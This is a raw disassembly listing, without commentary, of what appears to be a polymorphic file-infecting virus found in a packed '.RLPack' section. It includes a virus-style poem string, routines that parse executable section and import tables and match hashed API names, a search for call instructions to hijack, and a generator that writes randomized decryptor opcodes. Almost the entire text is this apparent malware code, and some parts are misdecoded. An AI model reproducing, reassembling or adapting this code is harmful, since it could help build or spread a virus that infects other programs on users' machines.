		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh
		dd 142930C7h, 79ED10A6h, 0FAE54FD4h, 524827B1h,	0F96A4037h
		dd 0AD47606Eh, 59576299h, 14133AABh, 0CC5C10A6h, 0C17EC26Ch
		dd 0B3521A73h, 0D8B8h, 13h dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4FF6BA	proc near		; CODE XREF: sub_4FF701:loc_4FF75Ep
					; sub_4FF7C1+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr ss:loc_4039A6[ebp], 0
		and	dword ptr [ebp+4039AAh], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_4FF6D6:				; CODE XREF: sub_4FF6BA+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_4FF6F8
		cmp	eax, [edx+8]
		jnb	short loc_4FF6F8
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	dword ptr ss:loc_4039A6[ebp], edx
		mov	[ebp+4039AAh], eax
		jmp	short loc_4FF6FD
; ---------------------------------------------------------------------------


loc_4FF6F8:				; CODE XREF: sub_4FF6BA+23j
					; sub_4FF6BA+28j
		add	edx, 28h
		loop	loc_4FF6D6


loc_4FF6FD:				; CODE XREF: sub_4FF6BA+3Cj
		popa
		retn	4
sub_4FF6BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FF701	proc near		; CODE XREF: .RLPack:004FFA2Dp
					; .RLPack:004FFA53p
		mov	byte ptr ss:loc_4022F7[ebp], al
		call	sub_4FF770
		push	20h
		lea	eax, [ebp+402224h]
		pop	ecx


loc_4FF718:				; CODE XREF: sub_4FF701+1Ej
		cmp	[eax], ebx
		jz	short loc_4FF728
		add	eax, 4
		loop	loc_4FF718
		inc	dword ptr ss:loc_40398E[ebp]
		retn
; ---------------------------------------------------------------------------


loc_4FF728:				; CODE XREF: sub_4FF701+19j
		neg	ecx
		add	ecx, dword ptr ss:loc_4022F7[ebp]
		jecxz	short loc_4FF742


loc_4FF732:				; CODE XREF: sub_4FF701+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_4FF732
		mov	[ebp+402224h], ebx


loc_4FF742:				; CODE XREF: sub_4FF701+2Fj
					; sub_4FF770+34j
		cmp	dword ptr [edx], 0
		jz	short loc_4FF74C
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_4FF74C:				; CODE XREF: sub_4FF701+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_4FF75B
		push	dword ptr [edx]
		jmp	short loc_4FF75E
; ---------------------------------------------------------------------------


loc_4FF75B:				; CODE XREF: sub_4FF701+54j
		push	dword ptr [edx+10h]


loc_4FF75E:				; CODE XREF: sub_4FF701+58j
		call	sub_4FF6BA
		sub	ecx, esi
		sub	ecx, [ebp+4039AAh]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_4FF701	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FF770	proc near		; CODE XREF: sub_4FF701+6p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], 0
		call	sub_4FF7C1
		mov	eax, dword ptr ss:loc_40398E[ebp]
		call	sub_4FEF05
		call	sub_4FF7AD
		cmp	dword ptr ss:loc_40398E[ebp], 0
		jnz	short loc_4FF7A6
		mov	dword ptr ss:loc_4022A0[ebp], ebx
		jmp	short loc_4FF742
; ---------------------------------------------------------------------------


loc_4FF7A6:				; CODE XREF: sub_4FF770+2Cj
		dec	dword ptr ss:loc_40398E[ebp]
		retn
sub_4FF770	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FF7AD	proc near		; CODE XREF: sub_4FF770+20p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], edx
		call	sub_4FF7C1
		xor	ecx, ecx
		retn
sub_4FF7AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FF7C1	proc near		; CODE XREF: sub_4FF770+10p
					; sub_4FF7AD+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_4FF6BA
		add	edx, [ebp+4039AAh]
		add	edx, esi


loc_4FF7D5:				; CODE XREF: sub_4FF7C1+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_4FF8E6
		cmp	dword ptr [edx+10h], 0
		jz	locret_4FF8E6
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_4FF6BA
		add	eax, [ebp+4039AAh]
		add	eax, esi
		push	eax


loc_4FF7FB:				; CODE XREF: sub_4FF7C1+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_4FF81B
		cmp	cl, 2Eh
		jz	short loc_4FF80A


loc_4FF807:				; CODE XREF: sub_4FF7C1+58j
		inc	eax
		jmp	short loc_4FF7FB
; ---------------------------------------------------------------------------


loc_4FF80A:				; CODE XREF: sub_4FF7C1+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, offset dword_4C4C44
		jnz	short loc_4FF807


loc_4FF81B:				; CODE XREF: sub_4FF7C1+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_4FF8DE
		cmp	word ptr [eax-2], 3233h
		jnz	loc_4FF8DE
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_4FF83E
		mov	ecx, [edx+10h]
		jmp	short loc_4FF840
; ---------------------------------------------------------------------------


loc_4FF83E:				; CODE XREF: sub_4FF7C1+76j
		mov	ecx, [edx]


loc_4FF840:				; CODE XREF: sub_4FF7C1+7Bj
		add	esi, ecx
		push	ecx
		call	sub_4FF6BA
		add	esi, [ebp+4039AAh]


loc_4FF84E:				; CODE XREF: sub_4FF7C1+90j
					; sub_4FF7C1+117j
		lodsd
		test	eax, eax
		js	short loc_4FF84E
		jz	loc_4FF8DD
		push	dword ptr [ebp+4039AAh]
		push	eax
		call	sub_4FF6BA
		add	eax, [ebp+4039AAh]
		pop	dword ptr [ebp+4039AAh]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_4FF87A:				; CODE XREF: sub_4FF7C1+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_4FF891
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_4FF87A
; ---------------------------------------------------------------------------


loc_4FF891:				; CODE XREF: sub_4FF7C1+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_4FF8D7
		cmp	ebx, 0DB6E45A8h
		jz	short loc_4FF8D7
		cmp	ebx, 0FFA13B59h
		jz	short loc_4FF8D7
		cmp	ebx, 0ACB522D6h
		jz	short loc_4FF8D7
		cmp	ebx, 0F358E993h
		jz	short loc_4FF8D7
		cmp	ebx, 0F358E97Dh
		jz	short loc_4FF8D7
		cmp	ebx, 0E1253F46h
		jz	short loc_4FF8D7
		cmp	ebx, 0E1253F30h
		jz	short loc_4FF8D7
		call	dword ptr [ebp+403992h]


loc_4FF8D7:				; CODE XREF: sub_4FF7C1+D6j
					; sub_4FF7C1+DEj ...
		pop	ebx
		jmp	loc_4FF84E
; ---------------------------------------------------------------------------


loc_4FF8DD:				; CODE XREF: sub_4FF7C1+92j
		pop	esi


loc_4FF8DE:				; CODE XREF: sub_4FF7C1+60j
					; sub_4FF7C1+6Cj
		add	edx, 14h
		jmp	loc_4FF7D5
; ---------------------------------------------------------------------------

locret_4FF8E6:				; CODE XREF: sub_4FF7C1+18j
					; sub_4FF7C1+22j
		retn
sub_4FF7C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4FF8E8	proc near		; CODE XREF: .RLPack:004FFA26p
					; .RLPack:004FFA4Cp
		push	4
		pop	eax
		call	sub_4FEF05
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_4FEF05
		add	edx, 8
		xchg	edx, ecx


loc_4FF910:				; CODE XREF: sub_4FF8E8:loc_4FF94Fj
		push	5
		pop	eax
		call	sub_4FEF05
		cmp	dl, 3
		jnb	short loc_4FF928
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_4FF94F
; ---------------------------------------------------------------------------


loc_4FF928:				; CODE XREF: sub_4FF8E8+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_4FF949
		mov	al, 11h
		call	sub_4FEF05
		mov	eax, 1


loc_4FF93D:				; CODE XREF: sub_4FF8E8+5Dj
		test	dl, dl
		jz	short loc_4FF94E
		shl	eax, 1
		dec	dl
		jmp	short loc_4FF93D
; ---------------------------------------------------------------------------
		jmp	short loc_4FF94E
; ---------------------------------------------------------------------------


loc_4FF949:				; CODE XREF: sub_4FF8E8+47j
		mov	eax, 80000000h


loc_4FF94E:				; CODE XREF: sub_4FF8E8+57j
					; sub_4FF8E8+5Fj
		stosd


loc_4FF94F:				; CODE XREF: sub_4FF8E8+3Ej
		loop	loc_4FF910
		retn
sub_4FF8E8	endp

; ---------------------------------------------------------------------------


loc_4FF952:				; CODE XREF: sub_5003AC+112p
		lea	edi, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FF967
		mov	al, 60h
		stosb


loc_4FF967:				; CODE XREF: .RLPack:004FF962j
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4FFA6D
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDD9A52Bh
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	[ebp+40399Ah], edi
		jz	short loc_4FF9E5
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_4FF9B0
		mov	eax, 2E8B6467h


loc_4FF9B0:				; CODE XREF: .RLPack:004FF9A9j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_4FF9BC
		mov	al, 5Dh
		stosb


loc_4FF9BC:				; CODE XREF: .RLPack:004FF9B7j
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_4FF9E3
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_4FF9E3
		mov	eax, 0F8ED83h


loc_4FF9E3:				; CODE XREF: .RLPack:004FF9CBj
					; .RLPack:004FF9DCj
		stosd
		dec	edi


loc_4FF9E5:				; CODE XREF: .RLPack:004FF998j
		test	dword ptr [ebp+403431h], 3
		jz	short loc_4FF9F5
		mov	al, 0E9h
		stosb
		stosd


loc_4FF9F5:				; CODE XREF: .RLPack:004FF9EFj
		mov	eax, dword ptr ss:loc_403996[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_4FFA6D
		mov	eax, 36FF6467h
		mov	dword ptr ss:loc_40399E[ebp], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_4FF8E8
		mov	al, 20h
		call	sub_4FF701
		jecxz	short loc_4FFA6D
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_4FFA60
		call	sub_4FF8E8
		mov	al, 1Fh
		call	sub_4FF701
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_4FFA60:				; CODE XREF: .RLPack:004FFA4Aj
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399E[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_4FFA6D:				; CODE XREF: .RLPack:004FF971j
					; .RLPack:004FFA0Cj ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_4FFA8B
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_4FFA8B:				; CODE XREF: .RLPack:004FFA77j
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_4FFAE1
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_4FFAE1
		mov	eax, 0C9291829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_4FFADF
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_4FFADF:				; CODE XREF: .RLPack:004FFAD6j
		stosw


loc_4FFAE1:				; CODE XREF: .RLPack:004FFA95j
					; .RLPack:004FFA9Ej
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_4FFB02
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb


loc_4FFB02:				; CODE XREF: .RLPack:004FFAF7j
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FFB15
		add	ah, 28h


loc_4FFB15:				; CODE XREF: .RLPack:004FFB10j
		or	ah, [ebp+403429h]
		stosw
		mov	dword ptr ss:loc_403986[ebp], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_4FFB39
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_4FFB39:				; CODE XREF: .RLPack:004FFB2Ej
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_4FFB50
		mov	al, 0B8h
		or	al, [ebp+40342Ah]
		stosb
		jmp	short loc_4FFB8D
; ---------------------------------------------------------------------------


loc_4FFB50:				; CODE XREF: .RLPack:004FFB43j
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_4FFB62
		mov	al, 29h


loc_4FFB62:				; CODE XREF: .RLPack:004FFB5Ej
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_4FFB85
		mov	ah, 0C8h


loc_4FFB85:				; CODE XREF: .RLPack:004FFB81j
		or	ah, [ebp+40342Ah]
		stosw


loc_4FFB8D:				; CODE XREF: .RLPack:004FFB4Ej
		mov	[ebp+4039A2h], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_4FFC11
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_4FFBBC
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		jmp	short loc_4FFC09
; ---------------------------------------------------------------------------


loc_4FFBBC:				; CODE XREF: .RLPack:004FFBAFj
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_4FFBD9
		mov	ax, 0E083h
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_4FFBEE
; ---------------------------------------------------------------------------


loc_4FFBD9:				; CODE XREF: .RLPack:004FFBC6j
		mov	ax, 1829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4FFBEE:				; CODE XREF: .RLPack:004FFBD7j
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_4FFC01
		add	ah, 8


loc_4FFC01:				; CODE XREF: .RLPack:004FFBFCj
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4FFC09:				; CODE XREF: .RLPack:004FFBBAj
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_4FFC11:				; CODE XREF: .RLPack:004FFBA3j
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_4FFC26
		mov	al, 50h
		add	al, [ebp+403429h]
		stosb


loc_4FFC26:				; CODE XREF: .RLPack:004FFC1Bj
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_4FFC36
		add	al, 4


loc_4FFC36:				; CODE XREF: .RLPack:004FFC32j
		lea	ecx, [edi-2]
		mov	ah, [ebp+403429h]
		mov	[ebp+40398Ah], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_4FFC53
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_4FFC53:				; CODE XREF: .RLPack:004FFC4Aj
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_4FFC65
		mov	ah, 29h


loc_4FFC65:				; CODE XREF: .RLPack:004FFC61j
		stosw
		mov	al, 18h
		or	al, byte ptr ss:loc_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_4FFC83
		mov	al, 86h


loc_4FFC83:				; CODE XREF: .RLPack:004FFC7Fj
		mov	ah, [ebp+403429h]
		stosw
		cmp	ah, 5
		jnz	short loc_4FFC97
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_4FFC97:				; CODE XREF: .RLPack:004FFC8Ej
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_4FFCAE
		mov	al, 40h
		or	al, [ebp+403429h]
		stosb
		jmp	short loc_4FFCBD
; ---------------------------------------------------------------------------


loc_4FFCAE:				; CODE XREF: .RLPack:004FFCA1j
		mov	ax, 0C083h
		or	ah, [ebp+403429h]
		stosw
		mov	al, 1
		stosb


loc_4FFCBD:				; CODE XREF: .RLPack:004FFCACj
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_4FFCF8
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_4FFCEF
		mov	al, 0C0h
		or	al, byte ptr ss:loc_40342B[ebp]
		mov	ah, [ebp+403430h]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_4FFCF7
; ---------------------------------------------------------------------------


loc_4FFCEF:				; CODE XREF: .RLPack:004FFCD3j
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]


loc_4FFCF7:				; CODE XREF: .RLPack:004FFCEDj
		stosb


loc_4FFCF8:				; CODE XREF: .RLPack:004FFCC7j
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_4FFD14
		mov	ax, 0E883h
		or	ah, [ebp+40342Ah]
		stosw
		mov	al, 1
		jmp	short loc_4FFD1C
; ---------------------------------------------------------------------------


loc_4FFD14:				; CODE XREF: .RLPack:004FFD02j
		mov	al, 48h
		or	al, [ebp+40342Ah]


loc_4FFD1C:				; CODE XREF: .RLPack:004FFD12j
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_4FFD50
		mov	ax, 0F883h
		or	ah, [ebp+40342Ah]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+40398Ah], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_4FFD6B
		mov	cl, 77h
		jmp	short loc_4FFD6B
; ---------------------------------------------------------------------------


loc_4FFD50:				; CODE XREF: .RLPack:004FFD29j
		mov	ax, 1809h
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		sub	[ebp+40398Ah], edi


loc_4FFD6B:				; CODE XREF: .RLPack:004FFD4Aj
					; .RLPack:004FFD4Ej
		mov	al, cl
		mov	ah, [ebp+40398Ah]
		stosw
		mov	al, 58h
		add	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4FFE15
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_4FFDAC
		mov	eax, 2E876467h


loc_4FFDAC:				; CODE XREF: .RLPack:004FFDA5j
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_4FFDBC
		mov	ax, 0E58Bh
		stosw


loc_4FFDBC:				; CODE XREF: .RLPack:004FFDB4j
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_4FFE12
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_4FFE04
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_4FFDFF
		mov	ax, 424h
		stosw
		jmp	short loc_4FFE12
; ---------------------------------------------------------------------------


loc_4FFDFF:				; CODE XREF: .RLPack:004FFDF5j
		mov	al, 8
		stosb
		jmp	short loc_4FFE12
; ---------------------------------------------------------------------------


loc_4FFE04:				; CODE XREF: .RLPack:004FFDDCj
		mov	ax, 5D58h
		add	al, byte ptr ss:loc_40342B[ebp]
		stosw
		jmp	short loc_4FFE15
; ---------------------------------------------------------------------------


loc_4FFE12:				; CODE XREF: .RLPack:004FFDD0j
					; .RLPack:004FFDFDj ...
		mov	al, 0C9h
		stosb


loc_4FFE15:				; CODE XREF: .RLPack:004FFD88j
					; .RLPack:004FFE10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FFE41
		mov	al, 7
		sub	al, [ebp+403429h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+403429h]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_4FFE41:				; CODE XREF: .RLPack:004FFE1Fj
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_4FFEAC
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4FFE72


loc_4FFE65:				; CODE XREF: .RLPack:004FFE70j
		test	edi, 3
		jz	short loc_4FFE72
		mov	al, 90h
		stosb
		jmp	short loc_4FFE65
; ---------------------------------------------------------------------------


loc_4FFE72:				; CODE XREF: .RLPack:004FFE63j
					; .RLPack:004FFE6Bj
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+403429h]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_4FFEA0
		mov	ax, 0C350h
		or	al, [ebp+403429h]
		jmp	short loc_4FFEAA
; ---------------------------------------------------------------------------


loc_4FFEA0:				; CODE XREF: .RLPack:004FFE92j
		mov	ax, 0E0FFh
		or	ah, [ebp+403429h]


loc_4FFEAA:				; CODE XREF: .RLPack:004FFE9Ej
		stosw


loc_4FFEAC:				; CODE XREF: .RLPack:004FFE57j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_4FFF2B
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4FFED1


loc_4FFEC4:				; CODE XREF: .RLPack:004FFECFj
		test	edi, 3
		jz	short loc_4FFED1
		mov	al, 90h
		stosb
		jmp	short loc_4FFEC4
; ---------------------------------------------------------------------------


loc_4FFED1:				; CODE XREF: .RLPack:004FFEC2j
					; .RLPack:004FFECAj
		mov	ecx, edi
		mov	eax, [ebp+40399Ah]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_4FFEFA
		lea	eax, [ebp+403429h]


loc_4FFEF2:				; CODE XREF: .RLPack:004FFEF8j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_4FFEF2


loc_4FFEFA:				; CODE XREF: .RLPack:004FFEEAj
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_4FFF0F
		mov	ax, 0C031h
		stosw


loc_4FFF0F:				; CODE XREF: .RLPack:004FFF07j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_4FFF28
		mov	ax, 0C031h
		stosw


loc_4FFF28:				; CODE XREF: .RLPack:004FFF20j
		mov	al, 0C3h
		stosb


loc_4FFF2B:				; CODE XREF: .RLPack:004FFEB6j
		lea	eax, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4FFF43
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_4FFF5C
; ---------------------------------------------------------------------------


loc_4FFF43:				; CODE XREF: .RLPack:004FFF3Bj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+4039A2h]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_4FFF5C:				; CODE XREF: .RLPack:004FFF41j
		mov	dword ptr ss:loc_40106D[ebp], edi
		mov	edi, dword ptr ss:loc_403986[ebp]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FFF7C
		neg	eax


loc_4FFF7C:				; CODE XREF: .RLPack:004FFF78j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4FFF80	proc near		; CODE XREF: sub_5003AC+2A8p
		push	esi
		push	edi
		cmp	dword ptr [ebp+4039AEh], 0
		jz	loc_500168
		call	near ptr loc_4FFFA0+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_4FFFA0:				; CODE XREF: sub_4FFF80+Fp
		add	bh, bh
sub_4FFF80	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_4FF6BA
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_4FF6BA
		mov	edi, dword ptr ss:loc_4039A6[ebp]
		push	esi
		call	sub_4FF6BA
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_500168
		jz	loc_500168
		add	esi, [ebp+4039AAh]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_500139


loc_50001A:				; CODE XREF: sub_500139+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_5000C5
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_4FF6BA
		cmp	dword ptr ss:loc_4039A6[ebp], 0
		jnz	short loc_500048
		cmp	eax, [edi+0Ch]
		jnb	loc_500161
		jmp	short loc_500054
; ---------------------------------------------------------------------------


loc_500048:				; CODE XREF: sub_500139-FEj
		cmp	dword ptr ss:loc_4039A6[ebp], edx
		jnz	loc_500161


loc_500054:				; CODE XREF: sub_500139-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_500161
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_4FF6BA
		cmp	dword ptr ss:loc_4039A6[ebp], edi
		jnz	loc_500161
		add	eax, [ebp+4039AAh]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_500161
		cmp	eax, [edi+8]
		jnb	loc_500161


loc_50009D:				; CODE XREF: sub_500139+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr ss:loc_4039BE[ebp]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_500177
		jmp	loc_500161
; ---------------------------------------------------------------------------


loc_5000C5:				; CODE XREF: sub_500139-11Cj
		cmp	al, 0FFh
		jnz	loc_500161
		cmp	byte ptr [esi],	15h
		jnz	loc_500161
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_4FF6BA
		cmp	dword ptr ss:loc_4039A6[ebp], edi
		jnz	short loc_500161
		add	eax, [ebp+4039AAh]
		add	eax, [ebp+403972h]
		mov	dword ptr ss:loc_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_50010E
		cmp	eax, [ebp+4039C6h]
		jb	short loc_500177


loc_50010E:				; CODE XREF: sub_500139-35j
		cmp	eax, 70000000h
		jb	short loc_50014C
		call	sub_500139
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, dword ptr ss:loc_4039CA[ebp]
		jnz	short locret_500138
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_500153
; ---------------------------------------------------------------------------

